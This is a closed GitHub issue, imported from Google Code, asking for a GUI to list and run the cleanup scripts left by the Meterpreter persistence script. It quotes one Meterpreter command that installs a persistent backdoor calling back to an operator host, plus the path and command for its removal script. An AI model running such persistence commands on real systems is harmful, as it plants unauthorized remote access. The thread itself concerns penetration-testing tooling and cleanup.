Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

persistence directory parse? #25

Closed
GoogleCodeExporter opened this issue Mar 15, 2015 · 3 comments
Closed

persistence directory parse? #25

GoogleCodeExporter opened this issue Mar 15, 2015 · 3 comments

Comments

@GoogleCodeExporter
Copy link

1. If I had a million dollars to pay you (that's what it'd cost if you
weren't so nice), I'd like you to add...

Some sort of directory/log parsing capability for the persistence script. (I'm 
there is a better way to achieve persistence other then the persistence script, 
but thats is how I've been doing it). 

Currently a remove file gets added to a directory which stores the remove 
script for the persistence script on the remote host. An graphical list that 
grabs the files out of the directory and lists them would allow the user to 
click the list item and/or a button to run the remove script.


2. Because this feature doesn't exist I have to...

Go to the directory that stores these remove scripts and run them.

For example, after running:

'meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.10'

...I will have a file in:

'/root/.msf3/logs/scripts/persistence/NICKSXP_20110105.3830/NICKSXP_20110105.383
0.rc'

...which I can run using:

'run multi_console_command -rc 
/root/.msf3/logs/scripts/persistence/NICKSXP_20110105.3830/NICKSXP_20110105.3830
.rc'

...to remove the script so I don't leave unauthenticated backdoors around.

3. If you add this feature I will...

promise to look into better ways of doing stealth and persistence ;)

Original issue reported on code.google.com by NickPoor...@gmail.com on 5 Jan 2011 at 9:31

@GoogleCodeExporter
Copy link
Author

meh, it looks like those scripts don't really work to well anyway.

Original comment by NickPoor...@gmail.com on 6 Jan 2011 at 7:06

@GoogleCodeExporter
Copy link
Author

Ah roger. I'll close the ticket then.

Original comment by rsmu...@gmail.com on 7 Jan 2011 at 3:32

@GoogleCodeExporter
Copy link
Author

Original comment by rsmu...@gmail.com on 7 Jan 2011 at 3:32

  • Changed state: WontFix

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant